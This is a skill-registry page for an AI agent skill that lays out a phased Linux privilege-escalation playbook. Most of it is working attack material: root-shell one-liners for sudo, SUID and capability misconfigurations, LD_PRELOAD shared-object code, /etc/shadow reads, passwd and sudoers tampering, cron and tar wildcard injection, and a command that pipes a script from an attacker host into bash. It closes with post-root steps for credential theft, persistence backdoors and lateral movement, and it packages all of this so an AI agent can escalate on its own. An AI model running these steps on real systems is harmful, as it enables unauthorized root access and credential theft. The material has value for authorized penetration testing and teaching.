# Linux Privesc Enum

> Systematic Linux privilege-escalation enumeration methodology — ordered phases covering sudo, SUID/SGID, capabilities, cron, writable paths, NFS, kernel CVEs, and GTFOBins lookup, grounded in LLM-assisted autonomous privesc research (hackingBuddyGPT/ipa-lab).

- Skill: `purpleailab/linux-privesc-enum` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/linux-privesc-enum`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/linux-privesc-enum/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: AI & ML
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/linux-privesc-enum

---


# Linux Privilege Escalation — Systematic Enumeration Methodology

Grounded in autonomous privesc research (Happe & Cito, ESEC/FSE 2023 — hackingBuddyGPT) which empirically validated that ordered, phase-driven enumeration with state tracking outperforms ad hoc command execution. Follow phases in priority order; stop at first exploitable finding and validate before moving to the next phase.

**Authorized use only.** Run only on systems you own or have explicit written permission to test.

---

## Phase 0 — Situational Awareness (always first)

Establish identity, OS, and architecture before anything else. Every later phase depends on this context.

```bash
# Identity
id; whoami; groups; cat /proc/$$/status | grep -E 'Uid|Gid|Groups'

# OS and kernel
uname -a
cat /etc/os-release 2>/dev/null || cat /etc/issue
cat /proc/version

# Environment
env | grep -iE 'path|home|sudo|pass|token|secret|key'
echo $PATH

# Network context (pivot potential)
ip addr show 2>/dev/null || ifconfig
ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null
cat /etc/hosts

# Running processes (spot root services)
ps auxf 2>/dev/null | grep -v '\[' | head -40
```

---

## Phase 1 — Sudo (highest yield, lowest noise)

Sudo misconfigurations are the most common finding in CTFs and enterprise systems alike.

```bash
sudo -l 2>/dev/null
# Parse output carefully:
# (root) NOPASSWD: /usr/bin/vim       → vim -c ':!sh'
# (root) NOPASSWD: /usr/bin/python3   → python3 -c 'import os; os.system("/bin/bash")'
# (root) NOPASSWD: /usr/bin/find      → find / -exec /bin/sh \; -quit
# (root) NOPASSWD: /usr/bin/less      → less /etc/shadow  then: !sh
# (root) NOPASSWD: /usr/bin/awk       → awk 'BEGIN {system("/bin/sh")}'
# (root) NOPASSWD: /usr/bin/tar       → tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# (root) NOPASSWD: /usr/bin/env       → env /bin/sh
# (root) NOPASSWD: /usr/bin/zip       → zip /tmp/x /tmp/x -T --unzip-command="sh -c /bin/sh"
# (root) NOPASSWD: /usr/bin/man       → man man  then: !sh
# (root) NOPASSWD: /usr/bin/ftp       → ftp  then: !sh
# (root) NOPASSWD: /bin/cp            → overwrite /etc/passwd or /etc/sudoers
# (root) NOPASSWD: /usr/bin/tee       → echo 'user ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/pwned
```

### GTFOBins lookup workflow
For any allowed binary, check https://gtfobins.github.io/#<binary>?sudo — filter for "sudo" column.

### Sudo env_keep abuse
```bash
# If sudoers contains: Defaults env_keep += "LD_PRELOAD"
cat > /tmp/pe.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init() {
    setuid(0); setgid(0);
    system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so <any_allowed_command>
```

---

## Phase 2 — SUID / SGID Binaries

```bash
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null | sort

# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null | sort

# Quick cross-reference against known GTFOBins SUID list
KNOWN_SUID=(bash sh dash find python python3 perl ruby php node env vim vi nano nmap curl wget cp mv tee tar zip less more man ftp ssh socat strace tcpdump openssl)
for bin in "${KNOWN_SUID[@]}"; do
    find / -name "$bin" -perm -4000 2>/dev/null
done
```

### Common SUID exploitation patterns
```bash
# bash / sh with SUID — direct root shell
/bin/bash -p          # -p preserves effective UID

# find
/usr/bin/find / -name "x" -exec /bin/bash -p \; -quit

# python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

# vim / vi
/usr/bin/vim -c ':python3 import os; os.setuid(0); os.execl("/bin/bash","bash","-p")'
# or simply:
/usr/bin/vim -c ':!bash -p'

# nmap (< 5.21 with --interactive)
/usr/bin/nmap --interactive   # then: !sh

# cp — overwrite /etc/passwd
openssl passwd -1 -salt salt hackme        # get hash
echo 'root2:$1$salt$<hash>:0:0:root:/root:/bin/bash' >> /tmp/newpasswd
/usr/bin/cp /tmp/newpasswd /etc/passwd
su root2  # password: hackme

# env
/usr/bin/env /bin/bash -p

# tee — append to sudoers
echo 'www-data ALL=(ALL) NOPASSWD: ALL' | /usr/bin/tee -a /etc/sudoers
```

---

## Phase 3 — Linux Capabilities

Capabilities are frequently overlooked and often not caught by basic linPEAS runs on hardened systems.

```bash
getcap -r / 2>/dev/null
# High-value capabilities:
# cap_setuid+ep   → direct UID 0
# cap_setgid+ep   → direct GID 0
# cap_dac_read_search+ep → read any file (shadow, keys)
# cap_dac_override+ep    → write any file
# cap_net_raw+ep  → raw sockets / packet capture
# cap_sys_admin   → mount, unshare, etc. (container escape)
# cap_sys_ptrace+ep → inject into any process
```

### Capability exploitation
```bash
# cap_setuid+ep on python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_setuid+ep on perl
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# cap_setuid+ep on ruby
/usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'

# cap_dac_read_search on tar (read /etc/shadow)
/usr/bin/tar xf /etc/shadow -I 'cat > /tmp/shadow'
# alternative with python using ctypes
python3 -c "
import ctypes, sys
libc = ctypes.CDLL(None)
libc.open.restype = ctypes.c_int
fd = libc.open('/etc/shadow', 0)
buf = ctypes.create_string_buffer(4096)
libc.read(fd, buf, 4096)
sys.stdout.buffer.write(buf.raw)
"

# cap_net_raw: tcpdump/wireshark without root
tcpdump -i any -w /tmp/cap.pcap &
# Capture credentials from cleartext protocols (FTP, HTTP basic auth, SMTP)
```

---

## Phase 4 — Cron Jobs and Scheduled Tasks

```bash
# System-wide cron
cat /etc/crontab
ls -la /etc/cron.d/ 2>/dev/null
ls -la /etc/cron.{hourly,daily,weekly,monthly}/ 2>/dev/null

# User cron tables
crontab -l 2>/dev/null
ls -la /var/spool/cron/crontabs/ 2>/dev/null

# Find world-writable scripts called by root cron
# Step 1: identify scripts in crontab
# Step 2: check permissions
for script in $(grep -oP '(?<= )(/[^ ]+\.sh)' /etc/crontab 2>/dev/null); do
    ls -la "$script" 2>/dev/null
done

# Monitor for hidden/dynamic cron jobs (no root required)
./pspy64 2>/dev/null | tee /tmp/pspy.txt &
sleep 120; kill %1
grep -iE 'root|CRON|UID=0' /tmp/pspy.txt
```

### Cron exploitation patterns
```bash
# 1. Writable script — inject payload
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
# Wait for cron, then:
/tmp/rootbash -p

# 2. PATH hijacking in cron
# If crontab: PATH=/home/user/bin:/usr/bin:/bin  and runs: script.sh
mkdir -p /home/user/bin
cat > /home/user/bin/script.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
EOF
chmod +x /home/user/bin/script.sh

# 3. Wildcard injection (tar)
# cron: tar czf /backup/files.tar.gz -C /target *
cd /target
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
```

---

## Phase 5 — Writable Files and Path Injection

```bash
# World-writable directories (excluding /tmp /proc)
find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|dev|tmp|run)'

# World-writable files owned by root
find / -writable -type f -user root 2>/dev/null | grep -vE '^/(proc|sys)'

# Writable in PATH
echo $PATH | tr ':' '\n' | xargs -I{} find {} -writable -type f 2>/dev/null

# /etc/passwd writable?
ls -la /etc/passwd
[ -w /etc/passwd ] && echo "WRITABLE /etc/passwd"
# Exploit: add root user without password check
openssl passwd -1 -salt abc hackme
echo 'hacker:$1$abc$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker

# /etc/sudoers or /etc/sudoers.d writable?
ls -la /etc/sudoers /etc/sudoers.d/ 2>/dev/null

# Shared object injection — writable .so in library path
find / -name "*.so" -writable 2>/dev/null | grep -vE '^/(proc|sys)'
```

---

## Phase 6 — NFS No-Root-Squash

```bash
# On target: check exports
cat /etc/exports 2>/dev/null
# Dangerous: /share *(rw,no_root_squash)

# On attacker (requires network access to NFS port 2049):
showmount -e <TARGET_IP>
mkdir /tmp/nfsmount
mount -t nfs <TARGET_IP>:/share /tmp/nfsmount
# As root on attacker:
cp /bin/bash /tmp/nfsmount/rootbash
chmod +s /tmp/nfsmount/rootbash
# On target:
/share/rootbash -p
```

---

## Phase 7 — Kernel and Polkit CVEs

Run only after confirming no higher-yield misconfiguration exists. Kernel exploits risk system instability.

```bash
uname -a
cat /etc/os-release

# linux-exploit-suggester (transfer to target)
./linux-exploit-suggester.sh 2>/dev/null | grep -A3 'CVE'

# Key CVEs to check manually (verify exact version before running):
# CVE-2021-4034  PwnKit   — pkexec/polkit < 0.120, all major distros
# CVE-2022-0847  DirtyPipe — Linux 5.8–5.16.11, write to read-only files
# CVE-2022-2586  nft_object UAF — Ubuntu 18.04–22.04
# CVE-2023-0386  OverlayFS — Ubuntu 22.04 LTS (< 5.15.0-70)
# CVE-2023-32233 nf_tables  — Linux < 6.3.2
# CVE-2024-1086  nf_tables netfilter UAF — Linux 5.14–6.6 (widespread)

# PwnKit quick check
dpkg -l policykit-1 2>/dev/null || rpm -qa polkit 2>/dev/null
# DirtyPipe quick check (requires kernel 5.8+)
uname -r | awk -F. '{if ($1==5 && $2>=8 && $2<=16) print "POTENTIAL DirtyPipe"}'
```

---

## Automated Enumeration (supplement, do not replace manual phases)

```bash
# linPEAS — comprehensive but noisy
curl -sSL https://<ATTACKER_IP>/linpeas.sh | bash 2>/dev/null | tee /tmp/linpeas.txt
# Or transfer and run:
./linpeas.sh -a 2>/dev/null | tee /tmp/linpeas_$(hostname).txt

# linPEAS key sections to review first:
# [+] Sudo version / sudoers
# [+] SUID binaries
# [+] Capabilities
# [+] Writable cron files
# [+] NFS exports
# [+] Interesting writable files
# [+] Kernel exploits (CVE section)

# pspy — process and cron monitoring without root
./pspy64 | tee /tmp/pspy_$(hostname).txt
# Run for at least 2–5 minutes to catch minute-granularity cron jobs

# linux-smart-enumeration (LSE) — tiered verbosity
./lse.sh -l 1 2>/dev/null    # Level 1: interesting findings only
./lse.sh -l 2 2>/dev/null    # Level 2: all checks
```

---

## Enumeration State Tracking (hackingBuddyGPT methodology)

Research (Happe & Cito 2023) shows that maintaining a running state of what has been tried and what the current system profile looks like dramatically reduces redundant commands and improves escalation success rates. Keep a local note:

```
TARGET: <hostname>
USER: <current user>
KERNEL: <uname output>
SUDO: <sudo -l output>
SUID_HITS: <list>
CAPS_HITS: <list>
CRON_HITS: <list>
WRITABLE_HITS: <list>
TRIED: <list of failed vectors>
NEXT: <prioritized queue>
```

This mirrors the `update_state` / sliding history pattern that hackingBuddyGPT uses to prevent the LLM (or human operator) from re-attempting exhausted vectors.

---

## MITRE ATT&CK Mapping

| Technique | ID | Vector |
|---|---|---|
| Abuse Elevation Control Mechanism: Setuid/Setgid | T1548.001 | SUID/SGID exploitation |
| Scheduled Task/Job: Cron | T1053.003 | Cron job abuse, wildcard injection |
| Exploitation for Privilege Escalation | T1068 | Kernel CVEs, PwnKit, DirtyPipe |
| Hijack Execution Flow: Dynamic Linker Hijacking | T1574.006 | LD_PRELOAD, writable .so |
| Unsecured Credentials: Credentials In Files | T1552.001 | World-readable config/env files |
| Escape to Host | T1611 | NFS no_root_squash, container escapes |

---

## Decision Flow

```
Phase 0: situational awareness
    |
    v
Phase 1: sudo -l ──► hit? exploit immediately
    |
    v
Phase 2: SUID/SGID ──► cross-ref GTFOBins ──► hit? exploit
    |
    v
Phase 3: getcap -r / ──► cap_setuid/dac_read? exploit
    |
    v
Phase 4: cron (cat /etc/crontab + pspy) ──► writable script? inject
    |
    v
Phase 5: writable /etc/passwd, sudoers, PATH ──► exploit
    |
    v
Phase 6: NFS exports no_root_squash ──► SUID binary via mount
    |
    v
Phase 7: kernel CVEs (linux-exploit-suggester) ──► last resort
```

**After root:**
- Read `/etc/shadow` → crack offline or pass-the-hash
- Extract SSH private keys from `/root/.ssh/`
- Dump `/etc/passwd` + `/etc/shadow` → Credential Access skill
- Install persistence (cron, authorized_keys, SUID backdoor) → Persistence
- Pivot laterally using harvested credentials → Lateral Movement skill

